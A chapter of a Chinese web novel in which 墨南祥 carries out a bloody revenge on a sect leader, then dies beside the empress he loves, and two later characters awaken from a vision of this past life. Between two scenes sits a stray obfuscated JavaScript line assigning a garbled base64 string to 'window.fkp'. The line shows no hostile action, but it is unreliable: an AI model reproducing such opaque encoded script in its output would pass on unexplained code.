“母皇,这是首藏头诗诶。” 她女儿的一句话让她回过神来。她握紧这枚铜钱,去看自己女儿。她看到自己女儿正在看被自己撕掉的那封信。她女儿看着信上的内容,慢慢将其念了出来。 “我怪别的迫携被我,我被携(胁)迫的别怪我。” 听到她女儿这么说,她赶忙要来了她女儿手中的信件,然后细心地看了看。真就如她女儿所说的一样,这封信中的内容就是首藏头诗,还是首得倒着读的藏头诗。看明白这些,她幡然醒悟。这信中的告别,多半是虎宗门内部人员逼迫他写下的,为的应该就是检验他的衷心。 龙轩帝再次落泪,不过这次是感动的泪水。能将传家宝卸下一部分交给她,这无疑是墨南祥爱意的真诚体现。这枚铜钱象征了智,也象征了墨南祥永不背叛龙轩帝的决心。龙轩帝抱起自己的女儿,深情地向她吐露道: “凌,你父亲还没抛弃我们娘俩。你父亲还没抛弃我们娘俩啊!” 龙轩帝抱紧自己的女儿,深情地说: “墨南祥,是我信你太深了,我又被你骗了!我不聪明的,你倒是给个提示啊!害我又误解你了。你真是个江湖骗子,骗了我好几回。我会等你的,我相信你一定会回来的。” 六月后的秋天,随着一场秋雨的降下,一场预谋了多年的复仇行动就着雨水和夜幕展开了。今晚的虎宗门内部,注定是不安宁的一夜。 二十几年前,一伙人闯进了一家富有人家的大院。这伙人的目的很简单,那就是夺走这户人家的传家宝,因为那个传家宝是一件埋没于人间的神器。在夺取传家宝的行动之中,这伙人为了掩人耳目,先是杀光了这户人家里的所有人,然后一把火烧了这里。火焰吞噬了一切,销毁了他们犯下罪孽的证据。这户人家的房屋在火中化成了一片废墟,在外人看来,这就是火灾导致的灭门事件。 但在这场浩劫之中有两个幸存者,他们见证了那充满血腥的一晚。一个是这户人家的管家,另一个是这户人家的小儿子墨南祥。见证了家人被杀,传家宝被夺的墨南祥,心里种下了仇恨的种子。从那一天开始,墨南祥就下定决心要为家里人报仇,无论用什么办法。他在管家的照顾下长大,在成长的过程中他苦心修炼,弃文从武,习得了极高的武艺。后来又拜师学艺,步入修行者的行列。 为了复仇,为了夺回被抢走的传家宝皓衍龙雀锏,他改名换姓,从诸多方面做出了牺牲。他改名为方秋华,开始了他新的人生。在与龙轩帝分离之前,他经过秘密调查,知道了当初的灭门仇人是虎总现任宗主邱少锋。为了复仇,他制定了一套完美的复仇计划。 在与龙轩帝分别后的这五年之中,他逐步实现了他的复仇计划。 首先,他以入门子弟的身份进入虎宗门,然后用高超的武艺和技巧征服了宗门一派子弟,成为名副其实的大师兄。在日复一日的苦练之中,他永远是最优秀的那个弟子,也因此吸引了长老们的注意。宗门内绝大部分人都看好他,包括宗主本人。宗主有好几次在私底下找到他,在普通的谈话之中向他透露想把女儿许配给他的想法。他自然没有口头拒绝,因为那也是他计划的一部分。不知不觉间,他随身携带的武德吊坠殇那枚关于“礼”的铜钱永远熄灭了,从此再也未亮起过一次。 墨南祥心里: “很好,距离成功又近了一步。以屈辱的姿态打入进仇人门下,是男子汉大丈夫能屈能伸的表现。只要未来计划一成,那些屈辱都将用他们的鲜血洗刷干净。等着瞧吧,我会让你们付出代价的。” 第二步,为了成为宗门真正的内部人员,他不惜去成为自己最讨厌的渣男,主动与宗主的女儿邱天娇建立情人关系。借助宗主对他的看好与宗门内部人员的支持,他的目的很轻松就达到了。与邱天娇相爱后,他有好几次都被她真挚的爱意所打动,但他的心却始终向着龙轩帝那边,他一直在告诉自己这一切都为的是复仇。两人的关系发展的很快,没过一年两人就在宗主的允许下成了亲,并在宗门内结下了婚约。 在走成亲的流程的时候,他的表情很是高兴,但他的心里却痛苦无比。他想的是在流程中陪伴他的是龙轩帝,而非是宗主的女儿。虽然他对宗主女儿已经有了一些感情,但他一心想的还是复仇。 拜天地的时候,他虽然口头上说得不错,但他心里始终把他说的那些话当成谎言。从此刻开始,他随身携带的武德吊坠上那枚关于“信”的铜钱永远地熄灭了,再也未亮起过一次。 拜过天地后的几步流程过后,就是最关键的入洞房环节。这个环节他是最痛苦的,他心如刀绞,像哑巴吃黄连一样,有苦说不出。他知道,如果他那么做了,就意味着从道理上彻底背叛了龙轩帝,他就真的成了渣男。他不想那么做,因此在走进那个他不想进入的房间前,他找到几次几次想要逃跑或者直接拒绝邱天娇;但每当他下定了决心的时候,那份仇恨就会充满他的内心,让他无法做出行动。他只得在心里一直安慰自己,告诉自己:“一切都是为了复仇,而非自己的真实想法”。 那一夜之后,他牺牲掉自己的肉体,换来了计划第二步的成功。可他在那之后却未感到心里有一点高兴,反而感觉压力山大,更痛苦了几分。他不想因为复仇而牵连无辜的人,可他又不得不牵连那些无辜的人。 墨南祥心里: “我不想让那些无辜的人卷入这场复仇,可越来越多的人因为而深陷泥潭。邱天娇,在知道真相的那一天,你一定会恨死我吧。我毁了你的一生,是我犯下的深重罪孽啊。多让阎王打我几百大板吧。” 隔年夏天,邱天娇为墨南祥诞下一女一子。自孩子出生,墨南祥奠定了自己在宗门中的地位与身份,这方便他日后开展的一系列复仇行动。 第三步,为了证明自己真正“爱”邱天娇以及证明他对宗门的衷心,他给自己的娘子写了一封“告别信”。他在信寄出时悄悄将那枚铜钱放入信封,用这种方式向自己的娘子表达他真实的想法。寄出这封信的时候,他已经做好了回去被龙轩帝斩首的准备了。他已经走到了这一步,已经没有回头路可言了。他堵死了自己回头的道路,为了复仇。他此时已经彻底被复仇蒙蔽了双眼,他心底的那份恨意病态的生长,逐渐腐蚀了他原本纯洁的心灵。 邱天娇的这个妻子,他是从心底里不认的。但与她相处的日子一长,他也稍稍为之动容了。尤其是看到自己与她的那两个孩子时,他的心就软了下来。但他这人比较耿直,只认准了龙轩帝一人为妻。他对龙轩帝的一派衷心没让他动容几分,他还心心念念着龙轩帝。他的痛苦与日俱增,他觉得活着越来越累了。在他心软的时候,那份痛苦便会加重几分,让他心如刀绞。 能爱却不能爱,明明可以爱但却被束缚着不能去爱,能去爱而却要藏着掖着不能真的去爱,要欺骗而非坦诚。这是他此时此刻最大的痛苦,也是笼罩在他心头的梦魇。 他的心已如花朵般凋零,残存的爱也日渐被痛苦所蚕食。仇恨支撑起他支离破碎的心,让他还能继续简直。最后支撑他在这条不归路上一直走下去的,是无尽的仇恨。 不知不觉间,他随身携带的武德吊坠殇那枚关于“义”的铜钱永远熄灭了,从此再也未亮起过一次。 第四步,通过试炼与关系来到了宗门宝库,成功取得宗门秘宝皓衍龙雀锏。这是原本属于他家的传家宝,也是这宗门内最强大的兵器。当他捧起这把龙雀锏的时候,他压抑了许久的情绪终于得以释放。他笑了,笑得很疯癫,笑得一时间找不到东南西北。带走龙雀锏的时候,他是笑着离开的。 到了一个良辰吉日正值秋雨的日子,他先走到宗门内僻静的竹林里向着已故的家人深情诉说他一直以来想对他们说的话语,然后回到家,处理好家里的人和事。之后他换上自己来到宗门时穿的衣服,接着将准备已久的丹药服下、将准备已久的强化阵法启用,最后带着一腔怒火向着宗门赶去,准备发起一场致命夜袭。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十六话:前世今缘(下) 在行动开始前,他回家后对着自己的妻儿拔出了龙雀锏,并表现出了平时没有的凶煞。见他如此时,邱天娇还不明所以,好心去问他发生了什么事。他没有回话,而是拎着龙雀锏慢慢走向了邱天娇。见他如此,邱天娇握紧拳头想要启动阵法来自卫,但念在自己与他夫妻之间的感情,她那么做。直到他逼近自己的那一刻,她始终在苦口婆心地劝着他。走到她身前时,墨南祥无情地挥动了手中的锏,向着她砍去。即便是这个时候,她也没想过去攻击墨南祥,只是闭上眼睛等待墨南祥打出这一击。在一旁的两个孩子见到了,都吓坏了,吓得哭了出来。 当的一生,墨南祥这一下打在了地面上。面对被自己蒙骗了多年但还是在此刻相信着他、爱着他的邱天娇,他真的下不去这个手。一方面他念在他心里的一点夫妻感情,另一方面他不也不想去伤害这个无辜且天真的姑娘。这是他残存的最后一丝人性了。 他的这一下相当无情,虽然没打到邱天娇的身上,但却重重地打在了邱天娇的心上。邱天娇在此刻落泪,质问他为何要这样做。他见时候已到,便向她透露出了事情的真相,将他的真实姓名告诉了她,还将他那准备多年的复仇计划全盘告诉了她。 听完他的描述,邱天娇痛哭流涕,伤心至极。他见了只是委婉地叹了一口气,因为他早就料到了会有这一天。快到时候了,他得赶紧处理完这些事,然后去宗门里执行收尾。在这个时候,聪明机智的他却迷茫了。面对自己曾爱过的人、陪伴自己的家人,他不知该作何选择才能让结果更好些。他想去安顿好她和两个孩子,可又不知道该将她们安顿到何处。想来想去,他只有一个最粗暴的办法了。 他抡起手中的龙雀锏,指着邱天娇喊道: “老子今天赶时间!快点给我滚!滚的越远越好!别回来!我不想看到你......还有你的这两个孩子!” 这时候,邱天娇哭着问他: “墨南祥......你爱过我吗?” 邱天娇的这个问题再次刺痛了他的心。他皱紧眉毛,表情很是狰狞。泪水不知何时从他的眼角流下,这是他心中最真诚的想法。他没有回答邱天娇的这个问题,而是冲着她和她们的孩子喊道: “想死吗?!还不赶紧滚啊!爱你的是方秋华!不是我墨南祥!方秋华,已经死了!快点!滚啊!滚!滚的越远越好,别他娘的给老子回来!愣着干什么?!滚啊!” 邱天娇听完,嚎啕大哭。在他的注视下,邱天娇领着她们的两个孩子冲出了家门,头也不回地离开了。见此,他伸出手试图挽留,但已经无济于事了。她们的身影逐渐消失在雨中,看得他心如刀绞、泪如雨下。她和孩子的哭声不时从远方传入他的耳中,他心底的愧疚也在此刻达到了顶峰。 墨南祥: “想必,她们一定会恨死我了吧。我做的这一切......真的太过分了。我伤害了她!她是无辜的!她不是杀害我家人的仇人啊!她爱我爱得那样深沉,可我却伤透了她的心......就让我的余生背负着罪孽度过吧!上天。我真的再也不想伤害任何一个无辜的人了!” 流过泪,踏过泥泞,他的心已经支离破碎,只有仇恨还在支撑着他。带着满腔怒火与痛苦的他,迎着雨走入了宗门的大门。 一段时间后...... 轰的一声,宗门内阁的大门被人轰开。墨南祥拿着皓衍龙雀锏闯入了宗门内阁。凭借龙雀锏的神性,他将拦路的长老打得非死即伤,最后直捣黄龙,直接来到宗主大堂。在击倒了一众弟子之后,墨南祥直面虎宗宗主邱少锋。在开打前,邱少锋质问墨南祥: “是什么让你有勇气闯到这里来?方秋华。” 墨南祥冷冷地告诉他: “我不是方秋华,我是来自冥府的鬼魂,墨南祥。” 一听这名字,邱少锋笑了。他告诉墨南祥: “原来是那家贫弱世家的孩子吗?哈哈哈哈!你想复仇吗?愚蠢。你该做的是重建你那个贫弱的世家,而不是前来送命。” 墨南祥一脸愤怒地告诉他: “多说几句吧,一会你就会和你犯下的罪孽一起入黄泉了。” 墨南祥这番话触怒到了他,但他念在家人一场,就最后劝他一次。 “你本以归依我们宗门,本可以享受荣华富贵。更何况你还娶到了我的女儿,还和她成了个幸福美满的家,你是有成为下一任宗主的可能的!但为何你要放弃这一切,只因为仇恨?你回头吧,你还有很多机遇呢,孩子。” 墨南祥冷冷地告诉他: “这份仇恨必将因为你的死去而终结!” 见墨南祥不领情,他也不再劝阻。他从宗主宝座之上站起来,向他那里走去,顺手拿起了宝座旁的血凤仙(刀名)。他边走边质问墨南祥: “看看仇恨把你变成了什么样子?!为了复仇,你甚至牺牲了肉体与灵魂!你甚至牺牲了你能拥有的一切!你是不是在出发前就杀了我的女儿和她为你生下的孩子?我想你一定会那么做的,你已经是被仇恨所支配的傀儡了!现在,我想问一句,这一切都值得吗?” 墨南祥转动锏上的机关,四把造型样式各不相同的四把幻影锏出现在他的身旁。看样子,他已经做好了战斗的准备。邱少锋将手中的刀舞转一周,而后用刀指着墨南祥,对墨南祥恶狠狠地说道: “既然你执意要复仇,那我便拔刀相向。让你见识下虎宗门真正的实力!奉上你的觉悟,墨南祥!” 之后是一场血战。血战之后,墨南祥被一脚踢到了宗门大堂外的空地上。墨南祥站起身来,淅沥的雨水滴落在他身上,他的心如烈火般燃烧。他的头发此时有些发白,在刚刚的战斗中他付出了很多。邱少锋拎着已经有几道裂痕的血凤仙,慢慢走出宗门大堂,边走边对墨南祥说: “在我眼中,我只看到了个愤怒的、受惊的孩子。想必你此时的内心一定很空虚吧,复仇的滋味我可尝过啊!真后悔当初没好好搜查一番,想不到那本失传已久的堕仙术秘籍竟会在你的手中。堕仙术的滋味很好受吧,牺牲寿命来换取力量,真是荒谬。” 墨南祥往地上吐了口鲜血,怒不可遏地瞪着他。墨南祥告诉他: “即便是死,我也要为了我的家人报仇!别以为你欠下的债不用还清,该来的总会来的!” 他用刀指着墨南祥,很淡然地告诉墨南祥: “你若是打败了我,你也注定活不久。你这是在向所有宗门宣战!龙宗门及其他宗门的人会来除掉你,让你死无葬身之地。而且,依我看,你应该没有多少年寿命可用了吧。” 墨南祥摇了摇头,抡起手中的龙雀锏,冲上前去与邱少锋战斗。又是一轮血战,最后两人打得武器都飞了出去,转而是肉搏。在肉搏之中,墨南祥占据了上风。由于龙雀锏打击邱少锋身体对其造成了内伤,所以墨南祥仅仅只是几招下去就打得邱少锋连连吐血。但邱少锋也不是吃素的,他的几套虎门拳法也打得墨南祥难以招架。 最后时刻,墨南祥将他一脚踹到了墙上,然后使用日字冲拳一顿乱打。邱少锋被打得口吐鲜血,动弹不得。接着,他将全部能量汇聚在右掌之上。墨南祥闭上眼睛,握紧右拳,最后一个崩心拳打出,彻底结束战斗。 邱少锋无力地瘫倒在墙边,他苦苦地抬起头看了一眼墨南祥的脸,苦笑了几声,用最后一口气问道: “这一切真的值得吗?” 而后他头一歪,立马就断了气。墨南祥站在邱少锋尸体前愤愤难平,他的表情很是狰狞,甚至于手都是在握拳紧张的状态。但不一会,他的手就放松了,他的表情也变得平静下来。雨水淋湿了他的衣裳,也冲刷掉了他身上的血迹。他身上的伤口此刻隐隐作痛,他身上从外到内皆有伤疤。他的表情变得悲伤起来,为何而悲呢?他也不知道,只是单纯的难过。他一时间不知道该去做些什么,只是呆呆地站在原地,看着邱少锋的尸体发呆。他用力深吸了一口气,可却没用力呼出来。复仇之后的他,没有感觉到有一丝快乐,反而觉得心里瞬间空荡荡的。 此时此刻,秋天的寒意让他忍不住有些发抖。这里寂静的让人害怕,几个时辰前,这里还是很热闹的。宗门内的灯光愈发昏暗,似乎它们在为这里的不幸而感觉惋惜。天上的降水也愈发猛烈,似乎是老天在为这场悲剧流泪。宗门内尸骸遍布,到处都是血迹与人拼杀的痕迹。死亡的气息笼罩在了这里,生命在其中凋亡,同晚秋时节的色调一样。看着这一切,他也问出了和邱少锋一样的问题。 “这一切真的值得吗?” 在刚刚的战斗在他的头发变得如雪一样白,他能感觉到自己的寿命所剩无几。此时他咳嗽几声,咳出几滴血。他叹了口气,拎着染着鲜血的龙雀锏走出了宗门。一路上,他几度感觉空虚惆怅,甚至感觉到了深重的负罪感。回想起当初自家被灭门时的样子,不就是今天这宗门的样子吗?他最后还是成了自己最恨的那种人。想必,那份仇恨不会消失,而是会转移。 此时此刻,他随身携带的武德吊坠殇那枚关于“仁”的发光铜钱永远熄灭了,从此再也未亮起过一次。至于那枚交到龙轩帝手中的“智”,早就在他走入宗门的那一刻,就已经黯然失色了。 此刻的他,原本拥有的武德已经消逝,那作为武德之根的五德,随着他复仇的一步一步进行,也依次熄灭了。他纯洁的心灵已经腐烂掉了,他已经不再是当年那个纯洁的人!他曾经作为武者的尊严已经消失殆尽,他已没有颜面再去谈论他所执着的武道!就连他最在乎的爱,最后也不剩了多少。 墨子邵心里: “习武知武德之人竟能堕落成这样!仇恨真的太可怕了。这么一说,我有点担心起轩来了。那个傻姑娘以后见到殇可能就是刀剑相向。我可不希望轩成为那样的人!” 轩心里: “复仇......这是个很深刻、很哲学的问题。如果为了复仇而牺牲一切,那么失去不就更多了?最后只剩下空虚与孤独,变相的将那份仇恨转移,解决不了问题,只会让问题越来越严重。” 复仇之后的墨南祥背负罪名,一路从宗门之地跑到了京城。由于大道上会有其他宗门的眼线,他就走山间小路。耗费了他十多天之后,他回到与龙轩帝幽会的桃树前。他距离京城只有一步之遥了,他马上就能去赴这个足足有五年的约定。此时这棵桃树上已经是光秃秃的了,那些桃花在很久之前就凋零了。看着这棵桃树,他许久未笑过的脸又露出了笑容。 “北凌,我马上就回来见你!等着我,我马上就回来!” 在七年前的今天,墨南祥第一次与龙轩帝相遇。那时墨南祥是护送文曲星进京城的护送人,他听闻过龙轩帝的大名,只知道她是个战斗力惊人的女帝。在机缘巧合之下,他与龙轩帝相识。两人对彼此一见钟情,但巨大的身份差距让他没有去爱的勇气。所幸龙轩帝性格直率,总是在私底下偷偷去找他。建立最基本的朋友关系后,两人不时在京城内外左看看右看看的。有时龙轩帝要向他请教一些药草或农学知识,有时他会让龙轩帝教他一点功夫和技巧,两人对彼此都是坦诚相待。 可当他眺望京城时,却看到京城内一片混乱。他回来的时候正赶上叛军和起义军攻打京城,正值最动荡与危险的时候。他见到这个情况,拼了命地往京城跑。他跌跌撞撞地疾驰着,树枝划开了他的皮肤与衣物,石头扎碎了他的鞋履,狂风吹裂他身上未痊愈的伤口,可他都不在意,任血汗飞溅,也不停下一刻。 他拼了命跑,刚跑进京城没写半步就继续向着皇宫疾驰。路上遇到任何拦路的人,都是龙雀锏招架。顶着危险与战火,他跑进了皇宫。此时皇宫已经沦陷,一支精英队伍正在围攻王宫大殿前的最后屏障:朱雀门。见正路走不通,他走侧墙绕后翻了进去。他此时的样子像个失魂落魄的乞丐,人没人样,走没走象,但他不在意这些,只是拼了命地跑。他的头发以肉眼可见的速度变白、变稀疏,他的速度也以肉眼可见的速度变慢下来。他全身的肌肉愈发萎缩,他的样子也越来越老。 “北凌,你等我!北凌!这次我不走了!你要等我啊!我这次带你走!北凌!北凌!” 他边跑边撕心裂肺地喊道。他此时已经不在乎自己的生命,他现在只想早点见到龙轩帝。 当他跑进皇宫大殿时,见到了一幅让他泪崩的景象。一个提着大剑的人站在大堂门口,做出了很庄严的姿势,像位高雅的骑士。龙轩帝就跪倒在他的前方,以最颓唐的姿势。龙轩帝全身的龙袍染尽了鲜血,昔日的女帝风范此时已不再;她的眼神空洞了许多,嘴角流淌着的鲜血已经干涸。 “北凌!” 他大喊一声,一把推开那个人,跑向了轩辕北凌。他的泪水在空中连城了一条线。当他靠近轩辕北凌的那一刻,轩辕北凌的身体往前一倾,直接倒在了他的怀中。他抱紧轩辕北凌,流着泪对着她大喊: “别害怕!我来了,北凌。这次我不走,我一直陪着你!眼前亏欠你的,我都弥补给你!” 轩辕北凌艰辛地露出笑容,两行泪水随之流下。这个拥抱她等了五年!轩辕北凌流着泪笑着对他说: “我就知道你不会骗我!我不聪明,傻,你不舍得骗我的。” 他抱紧了轩辕北凌,他的泪如奔流一般流下。他能感受到,轩辕北凌的身体变得越来越寒冷,心跳正在逐步减慢。他哭着对轩辕北凌喊道: “别害怕!我带你走,我带你走!” 轩辕北凌苦笑着告诉他: “不用了,相公。这是我的宿命,是逃不掉的。” 这时候那个人拎着大剑走了过来。他听到他提大剑的身影,表情瞬间变得狰狞起来。他轻轻地将轩辕北凌放到地上,然后拔出背后的龙雀锏,要与之拼命。他对着那人大喊道: “有我在,你别想动她一根手指头!今天神锏在手,我要带她走,我看谁敢拦我!” 没多说一句话,他与那人就开始战斗。战斗之时他们一旁的龙轩帝一直在小声地劝他,她知道她相公打不过这人。 “相公......停手吧,别打了。你打不过他的......跑,跑啊!你打不过他的啊......” 全身负伤且因堕仙术而变得虚弱的他即便有神锏在手,也难敌那人。很快就败下阵来,被他一脚踹到了墙上。这一幕似曾相识。他用尽全身力气将神锏投出,击碎并击飞了那人手中的大剑。见没了武器,那人就用拳头来处决他。那人对着他身体一顿连打,然后握起拳头,准备打出致命杀招崩心拳。这一幕他印象深刻,仿佛就发生在昨天。他曾是那个使用杀招的人,如今却成了这杀招的承受者。 墨南祥心里感叹道: “也许,这就是报应吧。” 在崩心拳打中自己的前一刻,他心中的执念让他爆发出一股强大的力量。他抢在这一拳打中自己之前一个侧移躲开了这一拳,然后他对着那人用力一推,将那人推开。最后时刻,他跑向了轩辕北凌,边跑边喊: “北凌!” 他没跑几步就摔倒在了地上。他此时极度虚弱,就连站起来都很费力了。倒地后他跪着走,不一会又趴着走,又过一会就只能靠双手扒地前进。此时倒在地上的轩辕北凌见他如此,便一步一步地往他那里挪。两人对着彼此伸出手,都想要抓住对方的手。 轩辕北凌挪动身体的速度逐渐减慢,最后停滞不动。她的手慢慢放下了,她此时虚弱到已经抬不起手了。她趴在地面上,呆呆地看着墨南祥。她脸上的泪水逐渐干涸,她的生命也快随同这泪水一起干涸。墨南祥艰难地爬到了轩辕北凌身前,一把抓住了她的手。轩辕北凌见到他终于握住了自己的手,欣慰地笑了出来。 “相公......” 她无力地对墨南祥轻声说道。这句最简单的话语,没有优雅的修饰,但倾注了她最深沉的爱意。等待五年,一句相公,承载七年的忠贞爱情。墨南祥握紧她的手,尽管他此时的力气已经小到抬不起之头来,他也在用力去握,不想松手。墨南祥苦笑着对她说: “北凌,我答应你的,我们再也不分开了,我再也不走了!我会陪在你的身边一辈子......最后这一瞬,也是一生一世。” 轩辕北凌笑了,笑得比任何时候都美。她“嗯”了一声,然后呆呆地看着墨南祥的脸,一刻都被移动过视线。墨南祥也笑了,笑得格外沧桑;但他更多的是愧疚的落泪。 他觉得自己亏欠轩辕北凌太多了,整整五年的时间,他却为了复仇而将她弃之不顾,甚至几次伤了她的心。复仇是成功了,可他什么也没得到,反而他失去的更多。他最终成为了自己最恨的那种人!他失去了他所珍视的一切,还也因此害了很多无辜的人。这一切到头来都没有意义,最后伤害了更多人的心,失去的东西更多了。就如邱少锋对他说的那句:“你已经是被仇恨所支配的傀儡了!”一样,他成了被仇恨支配的傀儡,亲手毁掉了自己的一切。他闭上眼睛哭泣,流下了忏悔的泪水。他本是无罪的受害者,却在复仇之中成了恶贯满盈的加害者! 他十分惭愧地对轩辕北凌忏悔道: “对不起,北凌......我不该去完成那什么复仇行动的!我该好好陪陪你,珍惜当下......我毁了我的一切啊!” 轩辕北凌轻轻摇了摇头,她并未因他的行为而责怪他,反而坦然地接受他的道歉,选择了原谅与信任他。这份原谅彻底击碎他还坚挺着的内心,让那份熄灭了许久的良知再度燃起。可这份良知到来的太晚太晚了,一切都已经到了无法挽回的地步了。 此刻的他,回顾起他自己的一生,发现自己伤害过的人太多太多了。他所爱的与他所不爱的他都伤害了,尤其是他所爱之人,他伤其伤得更深。那么做,仅仅是因为他想去复仇,想去泄愤。他的这种行为就如邱少锋说的那句话一样:“在我眼中,我只看到了个愤怒的、受惊的孩子”,他的行为的确像一个不懂事的孩子,从不考虑后果地去做事,最后害了自己也害了别人。现在悲惨的结局,都是他一手造成的。 最后时刻,他不想在犯错了。他竭尽所能地拉紧轩辕北凌的手,用自己也逐渐变冷的手温暖轩辕北凌的手。墨南祥深情地看着她,目不转睛地一直看着她。他格外珍惜这最后的一小段时间,就连眨眼都变得急促。轩辕北凌也同他一样,格外珍惜这最后的短暂。她深情地看着墨南祥的眼,久久不离神。对于她来说,这最后的短暂是人生中最美的一刻。 这最后的相守,是这对情人最深情的告白。 接下来的时间里,两人就这样深情地对视了很久,很久......直到两人的身躯逐渐变得冰冷、眼神逐渐变得空洞、气息逐渐消失......到了最后,两人的手还始终紧紧地拉在一起,从未分开过。一旁的战士见证了这一切,不禁被感动得潸然泪下。他记录了这一切,并将这段故事记入了史册之中。为后人所知晓,所传颂。 在送葬上一个时代最后一位君王的时候,太玄国第一任皇帝喾刻意将轩辕北凌和那个无名的剑客葬在了一起。直至与世隔绝前的那一刻,两人的手始终拉在一起,从未有一刻分开过。 当一切落下帷幕的时候,看过这一切的墨子邵和轩心里五味杂陈。他们两个在不同的幻境之中,彼此之间相隔一堵墙而看不到对方,但都能看到这段感人肺腑的故事。墨子邵这一个大男子汉看完这段故事也不禁流泪,轩更是因感动而哭泣。两人都在这段故事之中明白了与彼此的前世姻缘,还明白许多的重要的人生道理。 墨子邵对此评价道: “真是感人的故事。我这一个钢铁直男都不禁流泪。想不到我与她之间竟有前世留下的姻缘,怪不得我一眼就能看破她的小心思。” 轩对此评价道: “太感人了!想不到我的前世竟有这么一段感人的爱情故事。我要是这其中的北凌,我得有多幸福啊!前世今缘,他的这一世是我心心念念的墨子邵。可墨子邵已经死了,那份诺言没有机会兑现了。哎......我的梦中情人,墨子邵,墨子邵......” 这时候,墨子邵手中的那把皓衍龙雀锏发出了耀眼的金光,他再次捧起这根神锏,不禁心生敬畏。这把神锏上笼罩上了一层传奇色彩,它不再是单单的一把锏,还是一段凄美爱情的见证者。 这时候,墨子邵的耳边响起了巨龙的声音。 炎阳朱雀之龙: “两颗孤独的灵魂穿越时间,在百年之后再度相遇。前世的姻缘,今世的传承。” 一道白色的光之门出现在墨子邵前方。 上古圣龙: “两颗孤独的灵魂坠入冥河,转生成他们的子孙。走过往生门,缘分让两人再度走到了一起。这次没有直接表达出爱意,而是通过爱慕来侧向表达。” 一道白色的光之门也出现在了轩前方。 炎阳朱雀之龙: “命运的号角已经吹响,两条时间线交织在此刻。等待了三百年的诺言,将在这一世兑现。” 这时,墨子邵将锏放在背后,迎着耀眼的光芒,迈步走向这扇光之门。 上古圣龙: “去吧,孩子。他并非死去,而是在世界的某处寻找着你呢。” 这时,轩也迎着耀眼的光芒,迈步走向她那边的光之门。 墨子邵和轩同时说道: “知道了,我已明了未来的道路。” 墨子邵和轩同时走进光之门中。在一道耀眼的光芒之后,两人一同在现实世界醒来。 在墨子邵这边...... 墨子邵一醒来,就吓了修一大跳。修很惊喜地说道: “妈呀!墨子邵醒了!墨子邵醒了!” 墨子邵大口呼吸空气,感觉此时的空气格外清新。墨子邵环顾四周,发现自己躺在修的诊所之中。刚刚那一切墨子邵还有些意犹未尽,刚刚看到的那一切已如烙印般深深地刻在了墨子邵的脑中。 墨子邵醒来后,向修询问了状况。在听到殇没有杀掉自己反而救了自己这个消息时,他整个人都惊呆了。他又询问了修一遍,得到的是同样的答案。得知这个消息时,墨子邵对殇多了几分敬佩之情。看到床边殇为自己弄来的氧气管,墨子邵露出了笑容。这时,修为墨子邵拿来了原本挂在他胸前的吊坠,并将这个吊坠交还给了墨子邵。墨子邵将这个吊坠放在手心,好好地去欣赏,因为这是轩专门为他做的。 修: “墨子邵啊,在殇离开这里的时候,特意给你留了一句话。让你好好把握当下,回去好好好对待那个思念你的姑娘,别让等待成为遗憾。” 听到这句话的时候,墨子邵的眼角泛起了泪花。修见了,问道: “怎么了?墨子邵。” 墨子邵攥紧这个吊坠,笑着摇了摇头,告诉修: “没事。” 修能看出墨子邵的心思,他像位长者一样笑了笑,没有继续追问下去。墨子邵重新佩戴起这个吊坠,不过这次他佩戴时多了几分感动。这时,墨子邵留意到床边不知何时多出了一把长锏,锏上赫然写着“皓衍龙雀锏”这五个大字。在长锏的锏首上,挂着一串缺了一枚铜钱的五线钱。墨子邵定睛一看,正好缺的是“智”。墨子邵笑了,笑得很灿烂。笑过,他流下了眼泪。泪水似印信,点燃了他心中的决心。他心里暗暗地发誓道: “轩,这辈子我再也不会让你为我等待了。我再也不会让你因我而受委屈了!前世欠下你的,这今生都还你。” 这个时候,旅者和一个白发男人走了进来。见墨子邵已经苏醒,旅者笑着对身旁的白发男人说: “看,你醒了。” 那个白发男人很自然地对旅者说: “不错的玩笑。” 见到这两人,墨子邵好奇地问道: “你们是谁?” 旅者和那个白发男人对视了一眼,然后旅者向他解释道: “我是旅者,我身旁的是Loyal。” 这时候,墨子邵注意到了Loyal的长相。他惊奇地对方跟自己长得很像,但比起自己来显老了很多,就像是五六十岁的他一样。不知不觉间,两人彼此对上了视。Loyal在墨子邵眼中看到与过去这时的他不一样的东西,墨子邵眼神中那份决心与坦然,以及烟消云散的仇恨,胜过那时候的他。墨子邵在Loyal眼中看到了很多,那份岁月过后的沧桑感与失去一切孤独感,那些他不曾有过的东西;以及像烈火般不灭的希望与强大的决心,是他们两个共同拥有着的东西。 Loyal苦笑着对墨子邵说: “你好,另一个我。” 墨子邵疑惑地问道: “你是另一个我?真的?” Loyal点了点头。从口袋里拿出一根簪子,然后一把扔向了墨子邵。墨子邵接住这个簪子一看,发现是轩的簪子。墨子邵很惊讶地问他: “你从哪里拿来的?” 他一脸严肃地告诉墨子邵: “在我们那次循环之中,发生了很多事。其中有一件事关乎太玄国的存亡。也就是在这件事之中,轩牺牲了,而我却苟活了下来。她死在我的面前,而我却没办法帮她报仇。那个武士太强了!” 他指着那个簪子,继续说道: “这是我在逃亡之前从轩尸体上拿下来的,是我最大的愧疚与罪责。后来我身旁的旅者救了我,让我能活到现在。” 听他这么说,墨子邵也明白了他的那份沧桑与孤独从而来了。墨子邵好好地欣赏手中这根簪子,他的心情变得复杂了许多。片刻之后,Loyal伸出手,将簪子吸到手中,然后重新放回口袋里。Loyal告诉墨子邵: “你先别着急回到太玄国去。如果你不想像我一样做个违约人,那么我建议你跟我们合作。我们能帮助你改变结局。” 一听他这么说,墨子邵问: “那我该怎么做呢?” 旅者打了个响指,一个金色的传送门出现,一块发着红光的代码石碑从中掉出。旅者拿起这块石碑,指着它跟墨子邵说: “代码0,这是根源。你要做的就是跟我们一起去调查这个东西的来源,我们要求不是我们知道,而是你必须知道。” 墨子邵看着这石碑,问旅者: “那我们什么时候出发?” 旅者回答他: “等你在这里养伤七日之后,Loyal会亲自接你走的。” 这时,旅者发现了异样。他仔细打量了下墨子邵,又用自己的核心释放脉冲感应了下墨子邵,发现墨子邵体内竟没有核心。旅者皱起眉毛,说道: “这可不行,我得给你弄个核心去。没了核心的你,会陷入各种危险的境地之中的。” 在轩这边...... 